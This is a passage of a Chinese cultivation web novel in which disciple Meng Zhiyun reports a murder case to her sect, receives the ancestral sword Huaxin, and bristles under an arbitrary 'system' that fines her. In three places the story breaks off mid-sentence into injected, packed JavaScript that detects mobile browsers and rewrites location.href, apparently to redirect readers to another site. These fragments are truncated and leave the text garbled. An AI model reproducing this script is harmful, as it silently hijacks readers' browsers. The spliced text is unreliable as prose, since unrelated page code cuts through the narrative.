缓缓睁开眼,孟知匀立刻终止了通灵阵。 薛昱正抱着剑在树下看她:“怎么样,想起来了吗?” 孟知匀心情有些复杂,点了下头:“是谭素月。” 薛昱闻言一笑:“我记得,你似乎曾说——” “她是个好人?” 孟知匀“噌”的一下就站了起来,不可思议地问道:“你那晚不是喝醉了吗?怎么这都还记得?” “谁跟你说我喝醉了。”薛昱眼睑微垂,盯着她那双分外潋滟的明眸,只觉得右手尾指处传来一阵阵莫名其妙的麻意,几乎要一路噼里啪啦地烧上他心头。 孟知匀比划了一下:“这么大一坛酒,你喝完还没醉?” “嗯。” “那你那天怎么和平时不太一样?”她还是觉得不对劲,难得地露出些咄咄逼人的劲头。 薛昱微微低着头,淡而无波的眼眸乍起涟漪:“那你说说,我醉酒后和平日里,有什么区别?” 两人站得太近,孟知匀感觉自己几乎完全被他的气息所笼罩,一时竟有点喘不过气,下意识便后退了一步。 “反正……不太一样。”她偏开目光,看向门口的柿子树,“有些事情,是很难以言语描述的。” 薛昱没再追问,反而把手里的冻柿子递给她。 孟知匀不客气地接了过来,一口咬了上去。 不知道是不是被通灵回忆中的状态所影响,现在她非常能和当初的自己感同身受,恨不得一口就把手里的柿子给吞下去。 然后,她飞快抬头看了薛昱一眼,察觉出了一点儿不对劲。 平日里,以二少主为中心,半径十米以内都冷飕飕的。 今日她离他这么近,怎么不觉得冷? 18. 回禀(待修) 圆月西斜,树影摇曳。 二人陡然四目相对,十分默契地各自偏开了视线。 孟知匀三两下啃完了柿子,随后打了个哈欠:“有点困,实在熬不住了,我先回去睡觉了。” 薛昱还在看墙角的枯草,下巴轻轻一点:“嗯,快休息吧。” “有劳师兄守夜了。”孟知匀揉了揉干涩的眼睛,推门轻手轻脚地走进了厢房。 屋内的薛逢梨已经睡着了,因为没关窗,寒风随着月光一起倾洒进了室内。 孟知匀看向睡得正香的师妹,无声叹了口气,走到窗边准备把木窗关上。 谁知这窗子经久失修,轻轻一碰,“吱呀”一下便要直接砸下来。 孟知匀被吓了一跳,刚想伸手去扶,一只骨节分明的手便先行接住了摇摇欲坠的支窗,然后把窗子稳稳安了回去,隔绝了满院的寒气与月色。 “师姐……”床上的薛逢梨被声音吵醒,眼睛都还没睁开,嘴里迷迷糊糊地嘟囔了一句。 孟知匀温声道:“没事,睡吧,我关个窗。” 薛逢梨在自家师兄师姐身边向来不操心,听到师姐的声音后便安心翻了个身,继续睡觉了。 孟知匀站在窗户边,低头去吹手上沾上的灰尘,尾指不经意间蜷缩了一下。 几息之后,因为红线的牵扯,手指又勾了勾。 她走到床边,脱掉外衫躺下,唇角却忍不住荡出了一点弧度。 二少主这个人实在很有意思,看起来是一朵不食人间烟火的高岭之花,对万事万物都非常冷淡,只一心追求剑道,然而几次相处下来,她发现—— 他不仅细心周到,还事事有回应。 哪怕是一些毫无缘由、他自己不怎么能理解的琐事。 * 第二天,孙二娘起了个大早,婉拒了三人要帮忙的好意,亲手将阮家小院仔细打扫了一遍,甚至将阮卿依小时候坐的木凳都擦得一尘不染。 等她忙完,已经是午后了,几人草草吃了一顿午饭,便带着两筐柿子赶回了平松县。 薛逢梨和薛昱去跟刘县令交涉此案的后续处理,包括李家十几口人的尸体和李宅的处置。 孟知匀送孙二娘回家,身边还跟着一柄驮着柿子的雾凇。 今日天气也不错,许多人家的老人都坐在门口晒太阳,见了二人还会随口招呼几句。 孙二娘一一回应,孟知匀则负责给人发柿子,等她们走到孙家门口,柿子足足少了半筐。 “知匀,待会儿我娘要是打我,你可千万要拦着!”孙二娘想起自家老娘,心里发怵,一把抓住孟知匀的胳膊,“我娘杀了半辈子猪,打起人来实在让人遭不住啊!” 何况她这次的确触了老婆子的霉头,不仅掺和进了李家的事,还直接跟着几位仙师去找阮卿依,她娘非得揍她一顿不可。 孟知匀拍了拍她的手背,语带同情:“放心。” 孙二娘深深吸了一口气,刚想去敲门,乌木大门便“哗”的一下打开了。 孙夫人扶着门槛,将自家闺女上上下下打量了两圈,冷笑道:“还以为孙大姑娘也出去学本事了,出息了,居然还知道回家?” 孙二娘红了眼圈:“娘。” 孙夫人冷哼了一声,冲孟知匀行了一礼:“这臭丫头不省心,给仙师添麻烦了。” 孟知匀忙去扶她:“哪里的话,要不是有二娘在,这次结案也不会这么快,是我们应该感谢二娘才对。” 这倒是实话,他们之所以能迅速追踪到阮卿依的踪迹,靠的还是孙二娘衣服上的那两滴眼泪。后来在那片山林中,也是因为他们一直跟孙二娘在一起,才取得了阮卿依的信赖,不然以阮卿依那时的状态,估计会做出更决绝、更无法挽回的选择。 孙夫人瞥了孙二娘一眼:“成天在外面弄得灰头土脸的,像什么样子,还不赶紧回去收拾收拾,一天天的净给你老娘丢人!” 随后,她又看向孟知匀,温声道:“家里炖了排骨汤,仙师不嫌弃的话,进门喝口热汤暖暖身子。” 排骨汤。从来到这个世界后就没喝过了。 孟知匀咽了口口水,强颜欢笑道:“多谢夫人好意,只不过我师兄和师妹还在等我回宗门复命,就不叨扰了。” 孙二娘有些不舍,但是也没有理由多挽留她,只得道:“你们日后要是下山经过,记得多来看看我啊。” 孟知匀将那两筐柿子卸到院子里,拍了拍手上的灰,闻声笑道:“那是当然,你若有什么事情,可以去找县里的钟楼,让里面的轮值弟子给山上传话。” “行了,不用送了,我走了,保重。” 目送着孟知匀迅速远去的身影,孙二娘忍不住又滚了两行泪下来。 孙夫人叹了口气:“你这丫头,老婆子现在是不指望你嫁个好人家了,能老老实实在家待着,就算是烧高香了。” 孙二娘瞪圆了眼睛,不可思议地看向她娘:“娘,你说的是真的吗?你再也不催我了?” 孙二人冷哼了一声,转身就往厨房去了,也不管孙二娘在后面叽叽喳喳地再说什么。 那李家自诩书香门第,在邻里之间也素有善名,背地里竟也是个虐待儿媳的恶毒人家,可见婚姻之事,只凭素日印象是十分的不靠谱。她如珠似宝养大的女儿,没理由要送去那些个腌臜人家受罪。 大不了,她再杀上半辈子的猪,高低能给二娘挣个养老的本钱出来! * 孟知匀在桥上和另外两人会和,三人御剑回了钟粹山。 穿过山前层叠缭绕的云雾阵,几人抵达了山门前。 孟知匀将雾凇递还给薛昱,同时笔下生风般迅速拟好了一张《资产归还单》,笑意盈盈地看向二少主:“有借有还,烦请师兄再签个字。” 薛昱扫了宣纸一眼,执笔签上了自己的名字:“你的规矩,倒是比宗门还要多。” 谁让你们薛家的HRBP这么不通人情呢?每次都得逼她提交纸质单据。 一想到即将回到系统的统治范围内,孟知匀就觉得脑仁儿疼,仰头看了看天边的霞光,满心疲惫地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208707|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统上提了单。 “还未到晚饭时间,不如我们先去戒律堂回禀情况。”薛昱看了眼天色,又看了眼脸色不太好的孟知匀,“你若是累了,等明日再去也不迟。” “现在就去吧。”孟知匀在心中默默叹息。 明天指不定系统又要给她派遣多少个杂活、累活,还是趁着它现在还没反应过来,赶紧去把正事收尾了。 薛逢梨担忧地拉住她的手:“师姐,你是不是昨晚没睡够啊?别太逞强了,晚半天去回禀应该也没什么大不了的。” 孟知匀收敛了不小心外露出来的疲惫感,摇了摇头:“没事,早点回禀完,这件事就早点结束,我们走吧。” 她都这么说了,另外二人自是不再多言,三人提气御风赶去了戒律堂。 戒律堂是掌门和四位长老议事的地方,也是钟粹山上下最为肃穆、庄严的场所,连道旁的两排松树,都无一不亭亭劲直。 正巧今日几位长老都在,薛旻也拿着册子在掌门身边旁听,三人甫一进门,就感受到了齐刷刷落在他们身上的视线。 “回禀掌门、长老,山下李家被灭口一案,已调查清楚。”薛昱看也不看最上首的掌门,垂眸行了个弟子礼。 薛凝今日又换了把葱翠的折扇,捏着扇柄摇了摇:“可算回来了,再等不到你们,怕是掌门师兄要亲自下山去寻了。” 这话有意想缓和父子俩之间的氛围,薛昱却道:“多谢翠微长老关怀。” 薛旻看着自家弟弟的倔模样,在心里默默摇了摇头,打圆场道:“想必师弟师妹们是把事情妥善处理完了才回来,难免误了些时辰,不知这戕害李家满门的到底是什么人?” 孟知匀借着通灵之术,一早就把脑海里的重点画面拓在了巨大的几张宣纸上,然后打了个响指,让宣纸浮在戒律堂最上首,使得众人都能清楚看到。 “回禀师兄,此次李家一案,乃是其自作自受,因往日虐待儿媳而招来的祸患。”孟知匀将画着李宅廊下挂着十二具尸体的宣纸呈现出来,“我们抵达李宅之后,眼前所见的就是……” 对于孟知匀的画面讲解法,戒律堂众人已经不是第一次领略,只见其结合宣纸上的图画,一点一点讲述了此次案件的经过,言辞精准、证据详实、推理有据,令人很难不信服,几位长老看向她的目光也无一不带着赞赏。 玉露长老宋覃出身于民间世家,最能体会凡间事的弯弯绕绕,听完孟知匀的汇报,她忍不住叹了口气:“不过是个可怜人,竟被这李家欺压迫害至此,实在令人惋惜喟叹。” 槐序长老薛瑭气得一拍桌子:“我看这李家人倒比那妖魔还要狠毒十分,不想我钟粹山脚下,居然还潜藏着这样的毒瘤!” “哎,老瑭你消消气。”薛凝拿扇子给他扇风,“横竖这帮人已经付出了代价,没必要气坏了自己。” 坐在上首的掌门薛琛则看着最后一张宣纸画面,问道:“你可确定,那人是静水谷谭素月?” 孟知匀颔首:“弟子已通灵确认过了,是谭素月无疑。” 19. 花信 薛琛不再言语,眸光却向一旁的薛旻一点,透出些不需言明的深意。 薛旻倒是脸色如常,低着头继续在册子上记录此案详情,只是捏着紫竹笔的手青筋暴起,昭示着其内心的不平静。 玉露长老宋覃向来最会洞察人心,看着薛旻的样子,心里也为这两个孩子叹息,便搁下茶盏,说道:“谭素月是静水谷宗门建立以来天资最高的修士,掌门又是她亲姑姑,她没有道理要伙同邪修叛出师门,我看那两个弟子的话也不能尽信,真相如何,还需继续探查。” “那丫头我也见过,”薛瑭眉头紧皱,神似一尊怒目金刚,“为人直爽大气,小小年纪就敢修改祖上传下来的刀法秘诀,此等魄力胆识,岂会和那等歪门邪道搅和在一起?” “此事日后再议。”薛琛右手微微一抬,制止了还想再说什么的槐序长老,“今日天色不早了,去吃饭吧。” 孟知匀早就饥肠辘辘了,听掌门这么说,简直如蒙大赦,撒腿就要往外跑。 “知匀。”薛凝忽然叫住了她。 孟知匀收回刚要跨出门槛的腿,揉了揉咕咕叫的肚子,转身回到翠微长老身边:“师父。” “饿了?”薛凝看她这模样,拿折扇掩唇一笑,“那我快些说。” “虽说你入门不过半年,但是天资、修为乃至平日里的诸项事宜都很好,所以掌门和其余几位长老都同意了,你可以去百剑峰拔剑了。” 孟知匀猛地抬起头,喜悦之色溢于言表,拱手对师父和还未离开的长老、掌门行了一礼:“弟子多谢掌门、长老们的厚爱,日后定当勤勉修行,不负所望。” 几位长老皆是笑,薛凝赶紧扶她一把:“本来应该由你薛旻师兄带你去百剑峰,但是今日他另有事情要忙,便由你薛昱师兄陪你前去,如何?” 一直没什么存在感的岁寒长老薛以源冲薛昱点了下头。 薛昱应了一声,和孟知匀一同走了出去。 薛逢梨正在门口等他们,闻言直接抱住了孟知匀,欣喜道:“太好了师姐,你终于可以有自己的剑了!” 她师姐这么个剑道天才,怎么能天天拿着一柄满是豁口的破剑呢! “你们先去吃饭吧,我等会儿去饭堂门口等你。”薛昱垂眸看着她们,余光却在留意戒律堂里面的动静。 “先谢过师兄了。”孟知匀眉目含笑地冲他行了一礼,随后便拉着薛逢梨直冲饭堂而去。 薛昱目送二人走远,然后便抱着醉春剑站在廊下,没一会儿,身后便传来一道温和的声音:“怎么还不去吃饭,站在这儿干嘛?” 他转过身,叫了一声:“哥。” 薛旻向来细心周到,做事从容不迫,今日却是连手指上都沾染了墨迹,唇角勉强一勾,直接从他怀里把自己的醉春剑捞了回来:“你倒是会拿我的剑去做人情。” 薛昱微微抿唇:“你……” “我什么?”戒律堂众人早已走完了,肃然的灯火下只剩下兄弟二人,薛旻难得露出些外人不可见的棱角,“那两个静水谷弟子还是我亲自审问的,我早就知道了。” 薛昱没再言语。 但是这次不一样。 这次……是他们亲眼见到了谭素月,看到她和邪修一起行动。这不再是出自他人之口的、真假难辨的言辞,是摆在他们面前的事实。 薛旻仰头看了眼天边的弦月,不知在对谁说:“我早就知道了。” “但你不信。”薛昱顺着他的目光看去,右手尾指微动,内心腹诽,她似乎也不信。 “你那日去静水谷做什么?”薛旻沉思片刻,没回应他的话,反而忽然侧身看他。 静水谷灭门那日,偏偏让他赶上了,还从火海里救出了唯二幸存的弟子。 薛昱语气颇淡:“不做什么。” 薛旻却笑了:“怎么,想提前看看她是什么人?” 亏了师叔祖那张大嘴,将他与谭素月的事吵嚷得钟粹山上下皆知,连他这个对什么事都不上心的弟弟都要去瞧他的心上人。 如今,他们倒是对此讳莫如深。 薛旻只觉得五味杂陈,无尽的疑窦和痛苦在他肺腑内撕扯、呼喊,他却困于宗门庶务、困于下一任掌门的职责,连亲自下山寻她、亲自前去探查真相都做不到。 “我会替你寻她。”薛昱看向廊下的森森松树。 有些事,总归是要有个交代的。 * 孟知匀在吃饭过程中,无数次点开自己的面板,看着那20.03两的存款,简直胃口大开,一口气多吃了两个馒头,还奢侈地加了一个蛋。 薛逢梨正在小口啜梨汤,将师姐今日的反常归结于她即将得到自己的本命剑。 想当初,她自己在前往百剑峰之前,更是百般兴奋,甚至一宿都没睡着,而师姐只是胃口大开,比她有定力多了。 看来她还需多向师姐学习。 孟知匀吃饱喝足后就跟薛逢梨道别,拿着自己的破剑往外走,正巧在饭堂外碰到了薛停。 “师姐,你回来了。”薛停一看见她,立刻抛下了同伴,快步走了过来,言笑晏晏,“你上次比试时使出的那一招,我已经想出了破解之法,师姐何时有空,我们改日再切磋一番。” 孟知匀一来到这个世界就知道,她是个剑道天才。并非是她自视甚高,而是这具身体实在天资卓绝,哪怕她平日里被系统的各种待办压迫得毫无修行时间,仍旧能够通过临时抱佛脚轻而易举地通过师父的考核,修为和剑术更是一日千里。 此次下山,她忙里偷闲地修行,更是在那日与谭素月的对决中有了至关重要的精进,如今的她,已经和考核那日不可同日而语了。 但她还是笑了笑:“明日我若有空,定去找师弟讨教一番。” 薛停还想再说些什么,忽然觉得今日的风冷飕飕的,吹得他遍体生寒,目光一偏,正看到抱着剑等在一旁的薛昱,浑身不由得打了个寒战。 孟知匀疑惑地回头看去,看到薛昱,心下了然,对薛停解释道:“薛昱师兄要带我去百剑峰,先告辞了。” 薛停一愣,心想师姐不是刚入宗门半年吗,居然可以入百剑峰了? 他站在原地,木然看着两人逐渐远去的背影,不禁攥紧了手指。 * “师兄?”孟知匀与他并肩前行,微微扭头,便能看到他线条分明的下颌。 薛昱脚步一顿:“嗯?” “你……心情不好?”孟知匀小心翼翼地瞥他,搓了搓自己起鸡皮疙瘩的胳膊,只感觉自己身边是尊“滋滋”冒冷气的大冰块。 薛昱后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个洞天很深,左右两边的石壁上凿出了许多养剑台,上面搁置着钟粹山历代收拢、传承下来的绝世名剑。 薛昱打了个响指,一盏灵火灯凭空出现在了他手里。 他提灯先行一步,为孟知匀照亮了前路:“进来之后便可以释放出你的灵气,属意于你的剑会试图与你建立共鸣。” 孟知匀平生从未见过这么多宝剑,简直恨不得趴到每一座养剑台上逐一大饱眼福,不过碍于师兄在场,她强压下心中的渴望,释放出了自己的灵气。 结果她的灵气甫一离体,整个藏剑洞天便轻微震颤了起来,左右两旁石壁上的剑,竟无一不蠢蠢欲动。 薛昱微微眯了下眼睛,轻笑道:“有意思。” 他这师妹在藏剑洞天的阵仗,竟和他当年不相上下。 不等孟知匀被纷至沓来的剑灵迷了眼,一道从洞天深处飞出的剑气陡然平息了混乱的场面,直直没入了孟知匀的眉心,让她仿佛被蒙蒙春雨洗涤去了周身的疲惫与浑浊,得到了从未有过的清明。 而原本在她周遭蠢蠢欲动的名剑们倏忽安静了下来。 薛昱冲前路扬了扬下巴:“随我来。” 二人迅速抵达了洞天最深处。 孟知匀感觉有什么东西在牵引着自己,径直走向了一棵参天巨树下的养剑台,伸手拿起那一柄通体覆着淡碧灵光的剑。 “唰”的一声,宝剑出鞘。 一道灵气从她握着剑柄的掌心流出,顺着破土萌芽的剑铭一路蜿蜒至剑尖,古朴的剑柄上出现了“孟知匀”三个字。 “这把剑——名为花信。”薛昱走到她身旁。 “是薛家先祖,钟粹山开山掌门的本命剑。” 20. 活尸 孟知匀闭了下眼睛,第一次体会到了和剑心意相通的境界,忍不住用指腹摩挲剑柄,颇有几分爱不释手的意思。 这是她来到这个世界以来,第一件完全属于她的东西。 有了手中剑,从此在茫茫天地间,她不再是孑然一身。 唯一可惜的是——这剑是个二手的。 似乎是感知到了她内心中的一丝不满,花信通体灵气外溢,剑铭流转,如孔雀开屏一般极力展示着自己。 孟知匀忍不住笑了,收剑入鞘,却在准备转身之时,感觉有什么东西在盯着自己。 她仰起头往上看了一眼,只见藏剑洞天最深处的这棵古树枝繁叶茂,周身缭绕着浓郁的灵气,而那种被窥视的感觉也消失不见了。 “怎么了?”薛昱手里还提着那盏灵火灯,见她眉头微蹙,便顺着她的目光看去,解释道,“这是开山掌门在百剑峰开辟藏剑洞天时亲手种下的灵树,能够吸取天地灵气、供养洞天中的灵韵。” 孟知匀点了下头,没发现什么可疑之处,只当是自己多日神经紧绷带来的错觉,便转过身对薛昱道:“那我们走吧,师兄。” 薛昱自然无不可,提着灯先行一步,带着她离开了藏剑洞天。 “明日你记得去戒律堂回禀一下。”二人行至银瀑后,薛昱熄掉灵火灯,以眉心的剑气为她打开了洞天门。 孟知匀见他没有出去的意思,便拱手告辞,语调轻快:“今日多谢师兄了。” 薛昱“嗯”了一声,抱臂倚在石壁上,一双长腿微微交叠,目送她抱着剑御风离开。 人前脚刚走,数十道剑气后脚就蜂拥而至,使得山壁微微震颤。 薛昱握紧了雾凇的剑柄,剑尚未出鞘,一阵铺天盖地的寒意便逼退了一众八卦的剑气。 他冷嗤一声,头也不回地走向了山巅的万剑灵阵。 孟知匀一出百剑峰就点开了自己的邮箱和待办,非常不可思议地发现——在她回到钟粹山后的整整几个时辰内,系统居然像死了一样,除了秒通过她的《资产归还单》,竟再未给她安排任何待办。 这情况很不寻常。 以往她出外勤回山时,一脚踏进山门,纷至沓来的系统待办便能挤满她的任务列表。 不过她也没心情去探究系统是死是活,甚至很想素手焚香,虔诚祈祷它彻底死了。 一路哼着小曲回到寝舍,孟知匀在屋外的桉树下挖了个坑,将那柄破剑埋了进去,勉强为这个陪伴自己小半年的剑兄立了个剑冢,然后便抱着花信剑回屋仔细研究去了。 和电视剧里演的不太一样,就算拿到了本命剑,也没有剑灵能直接在人耳边说人话。 人与剑之间,是一种跳出了语言系统的感知,仿佛天然便能和这柄灵器心意相通。 但是不同的剑灵之间也有区别。 孟知匀拉开椅子坐下,刚把剑放下,便敏锐地捕捉到了剑灵对于这张破桌子的嫌弃。 她忍不住“啧”了一声,一边擦剑一边絮叨:“你身为一柄剑,出身自天底下最厉害的名门正派,怎么能嫌贫爱富呢?” “既然跟了我,就应该清楚咱家是个什么情况,我可没钱每月送你去养剑堂保养,时不时去百剑峰让你泡泡灵池就算是顶了天了。” 花信剑身上的淡碧灵气略微淡了点,像是蔫了。 孟知匀用指腹摩挲了一下剑柄,黯淡的剑再度灵气四溢。 不错,还挺好哄。 * 庭院内草木深深,月光斜照,婆娑树影映在暗室的墙壁上,像一幅精妙的壁画。 谭素月坐在窗边,手里捏着那扇破碎的桃花面具,艰难地微微抬起头,看向高悬的明月。 “吱呀”一声,门开了,林不平端着一碗乌黑的汤药走进来。 他相貌英俊、气质端方,单从外表来看,像是云梦州里轻袍缓带的世家公子。 谭素月收回目光,垂眸看着地上的树影,一举一动都充满了滞涩感,像极了一具做工精湛的傀儡。 林不平走到她身前,伸手扣住她小巧的下巴,逼她抬起头:“喝药。” 谭素月仍旧不看他,手指却攥紧了面具碎片,锋利的边角划伤了她的手心。 林不平笑了一下,扣着她下巴的手陡然收紧,俯身逼她不得不看自己,声音却温润如击玉:“怎么,恨我逼你去对付薛家人?” 谭素月眼神木然,似乎对他所言所行都毫不在意。 林不平放下药碗,强行掰开她的手指,将那扇面具的碎片一点一点抠出来,然后拿出伤药给她包扎了掌心的伤口。 室内一盏灯都没点,唯有窗外的月光给他们披上了半身白霜。 “不愧是静水谷百年难遇的天才。”林不平将面具碎片踢到一边,直起身居高临下地看她,语调平平,令人难以分辨其究竟是阴阳怪气还是真心实意,“都变成这副模样了,还是一身傲骨。” “你姑姑泉下有知,定然引以为傲。” “还有那个,钟粹山大少主。” 谭素月猛然攥紧了拳头,眼睑下细碎的阴影微微颤动。 林不平的手指在她日益消瘦的脸颊上流连,笑意却不达眼底:“还不死心?” “你已经不算是人了,怎么还对他抱有奢望呢?” 女子紧握的五指一点一点松开,像是一股升腾的热气陡然在寒冬里消散,那点难得的鲜活也湮没在了死水般的眼眸中。 林不平两指捏住她的脸颊,随即又缓缓下滑,扣紧她的下巴,用另一只手端起那碗药,仰头喝下一口后俯身吻住她,将苦涩的药汁渡给她。 谭素月缓缓闭上了眼睛,麻木地任他动作,几滴顺着唇角流出来的药汁也被他一点一点舔去。 喂完一碗汤药,林不平将傀儡般的女子抱回床上,盖好被子,然后起身离开。 一个戴着桃花面具的黑衣男子正拿着一封拓了密文的信等在门外,见他出来,恭敬地俯身,双手递上密信:“门主,万花谷来信。” 林不平伸手接过那封信,面无表情地展开信封,里面只有寥寥数语,却让他脸色愈发冰冷。 他仿佛看见了萧倾那个贱女人,站在他面前大笑着嘲讽:“男人就是会异想天开,自己做出的决定,哪有轻易倾覆的道理?当初不是你亲手把她变成这副人不人鬼不鬼的模样吗?现在心疼啦?晚了。活尸每时每刻都忍受着药性入体的剧痛,会一点一点地变成死尸呢,等到那个时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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掌门薛琛负手而立,向来没什么表情的脸上也有几分松动:“藏剑洞天‘拔剑’,是人与剑之间的互相选择,这柄剑是整个洞天,乃至钟粹山的镇山至宝之一。既然它选择了你,便是钟粹山传承百年的剑意与剑道选择了你,日后,望你不负此等厚望。” 孟知匀恭恭敬敬地行了个执剑礼:“弟子定当铭记于心。” 刚走出戒律堂,孟知匀若有所感地抬头,看到了站在松木下的薛昱。 “师兄?”她拾级而下,走到他跟前。 薛昱应了一声,冲她摊开手掌。 一枚剔透的铃铛静静躺在他掌心,里面有一簇盛开的桃花和几点萌芽的绿叶,显得格外清新漂亮。 “赔你的铃铛。”晨曦斜照,在他脸颊上落下细碎光影。 孟知匀一时被他的美貌晃了神,愣了一下才伸手去拿铃铛,摇了摇,声音竟如冰碎落雪,让人仿佛置身于大雪深林。 “怎么样,这个喜欢吗?”薛昱垂着眼睑看她。 孟知匀抬起头,撞进他寒泉般的眼眸中,轻声问道:“你自己做的?” 薛昱“嗯”了一声,仍旧看着她,仿佛执意于她的答案。 “当然喜欢,谢谢师兄,它很漂亮。”孟知匀笑意盈盈,又摇了铃铛两下。 她笑起来明眸潋滟,像极了山间沾染清雾的莲花,连眼角那枚黑痣都更明艳了几分。 薛昱喉结滚动,嗓音有些喑哑:“喜欢就好。” 薛凝和宋覃站在廊下,远远看着这对师兄妹,不禁相视一笑。 21. 落花(待修) “至于这根红线……”薛昱右手尾指蜷缩了一下,不自然地移开视线,“藏书阁目前还未收录与之相关的典籍,我已经寄信给桃花潭苏家,应该过几日便会有回信。” “最近几日,尽量不要下山。” 不知道红线之间的最长距离是多少,的确不能轻举妄动。 孟知匀点头:“知道了,麻烦师兄了。” “此事因我而起,应该的。”薛昱撩起眼皮,正对上廊下四位长老齐刷刷投来的视线,眉头不禁一皱,透出些凛凛寒气。 槐序长老薛瑭率先仰头望天:“今儿这天气不错。” 薛凝拿团扇掩住了半张脸,寻了个由头就与宋覃相携离开,薛以源则是借口都不找一个,转身就走,徒留薛瑭一人在原地抓耳挠腮,最后又回去找掌门薛琛叙话去了。 孟知匀循着他的目光望去,眼睁睁看着一众吃瓜长老作鸟兽散,唇角抽动了一下。 不是说钟粹山剑修最为清心寡欲、醉心修行吗?不问凡俗在哪?一心向道在哪?她怎么感觉几位长老和师叔祖是一脉相承的爱看热闹? 怪不得百剑峰的剑气像极了村口巷边的大爷大妈,敢情这是门派传承? 薛昱见她沉思良久,眉间的郁气更甚,难得解释了一句:“他们向来如此,不必放在心上。” 孟知匀在心里啧啧摇头,跟师兄告了别,刚想去饭堂奢侈地吃上一顿小米粥咸菜加煎蛋,就收到了系统发来的邮件。 “因违反《员工行为准则》,现扣除罚款5两。” 她整整20两的存款,瞬间缩水为15两。 不是,这个《员工行为准则》又是从哪冒出来的?简直是闻所未闻啊! 但她怒发了数十封质问邮件,甚至在系统内提起申诉,无一不以失败告终。 挺好,她彻夜的祈祷并未起效。 傻x系统不仅没死,还升级了,甚至能以从未明文公示过的条例来扣她的钱! 这和“莫须有”有什么区别! 随便给她扣上一个帽子,就能扣掉她的存款,她还无处伸冤,简直是令人发指! 在心里将系统先后吊路灯、点天灯、处火刑后,孟知匀点开满满当当的待办,开始新一轮的任劳任怨。 不是她怂,是实在是没招了,这畜生系统是真会断她社保啊! * 明秋峰。 漫山遍野的枫树像是给山染上了半面红,亭台楼阁映照在静水之上,显得幽深雅致。 孟知匀抱着几包从丹药斋拿来的药材,走过九曲连廊,拐进一个弥漫着药香的房间,叫了一声:“师兄。” 薛繁正拿着蒲扇坐在炉子旁熬药,闻言一笑,看向她手里的药包:“师妹真是料事如神,我刚想去丹药斋拿药,你就来了。” 孟知匀把药放到一旁的桌子上,拉了个小板凳坐在他身边:“这药也是给玉露长老熬的吗?” “嗯,师父今日心绪不宁,我便往里面多加了几味安神的药材。”薛繁相貌俊秀,在缭绕的雾气里更显出几分朦胧的忧郁。 孟知匀心下了然,只觉得他们清秋剑一脉虽擅洞若观火,也往往心有郁结,看起来便有一股伤春悲秋的文人气质。 “师叔祖说前几日万听谷又送来了一批灵药,其中不乏安神的,改日师兄可以去丹药斋仔细挑选挑选。”孟知匀拿着蒲扇帮他掌了几下火候。 薛繁温吞一笑:“多谢师妹挂心了。” “那我就不打扰师兄了。”孟知匀放下蒲扇,起身去奔赴下一个待办了。 薛繁将人送至廊下,随后便回去继续熬药,到了傍晚才将这副药熬好,盛在瓷碗里,拿掌心的灵气温着,送到宋覃常待的静秋堂。 薛逢梨正坐在宋覃身旁温书,时不时便凑过去请师父点拨,宋覃也乐意被她烦,陪她温习了一下午,伸手揉了揉小徒弟的脑袋,柔声笑道:“看来此次下山颇有收获,以往你不明白的地方,今日倒是能说出些体悟来。” 除了自己爹娘,薛逢梨最喜欢的就是师父和师姐,抱着宋覃的胳膊就撒娇:“多亏了师父平日里的教导嘛。” 宋覃笑着摇了摇头:“常言道:‘刚过易折,慧极必伤’,虽说清秋剑一脉需修行洞察之力,但你得记住,凡事皆有自己的因果,不是曲中人,不染曲中祸,过去的事情便不要再多加忧思,不然平白伤了自己的心神。” “弟子谨记师父教诲。”薛逢梨自回山以来便有些郁郁寡欢,每日与人交往都有些强颜欢笑的味道,闻言舒了口气,忍不住将在山下的所闻所感说了出来。 薛繁站在门口,迟疑了良久,终究是没打扰里面叙话的两人,直到薛逢梨抱着一摞书走出来,被门神一样的师兄吓了一大跳:“师兄,你怎么站在门口不进去?” “药熬好了,我给师父送药。”薛繁眸色温和,“见你们在探讨典籍,我不便贸然打扰。” “那师兄快进去吧,药凉了会影响药性。”薛逢梨细眉微拧,见对方进了门,这才抱着书小心地走下台阶,心想以后她也得记挂着师父喝药的事,不能总让师兄一个人操劳。 薛繁将温热的汤药放在宋覃的书案上,垂着眼眸看向地上的玄文:“师父,该喝药了。” 宋覃搁下书:“不是什么大毛病,不必每日熬药送来,你天资不错,还应以修习为重。” 她今日挽了个低低的发髻,斜插着一根素雅的银簪,身上则是一袭月牙白的素衫,支着下巴坐在案前,看起来不像个剑修,反而更似世家大族的高门小姐。 外面的枫树被风吹过,簌簌落了几片叶子,在静水深潭上点下了几片涟漪。 薛繁垂着头,只道:“弟子未曾倦怠修行,每日帮师父熬药,有助于弟子静养心神,免去平日里的浮躁之气。” 宋覃看着汤药里冒出的热气,微不可查地叹了口气:“罢了。若无别的事,就回去练剑吧。逢梨此次下山颇有进益,你若有空,可以适当地指点她一二。” “弟子遵命。”薛繁颔首,却站着不动,目光落在那碗乌黑的汤药上。 窗外摇曳的树影,连同她的剪影,一同浮在了药碗中的水面上。 宋覃揉了揉额心,端起汤药,一口喝尽。 薛繁将一个精致的盒子放到桌子上,拿起空碗离开:“弟子告退。” 目送着少年逐渐远去的身影,宋覃打开盒子,从里面拈起一颗糖豆放进了嘴里。 外面起了风。 她偏头看去,只见静水潭上泛起了层层涟漪。 * 孟知匀回到了丹药斋,扛着锄头继续帮师叔祖照料药田,末了,实在按捺不住内心的好奇,凑到薛腾身边问道:“师叔祖,玉露长老当初是怎么上山的?” 薛腾正戴着个草帽给药材浇水,闻言觑她一眼,捻着胡须问:“你怎么对她感兴趣了?” 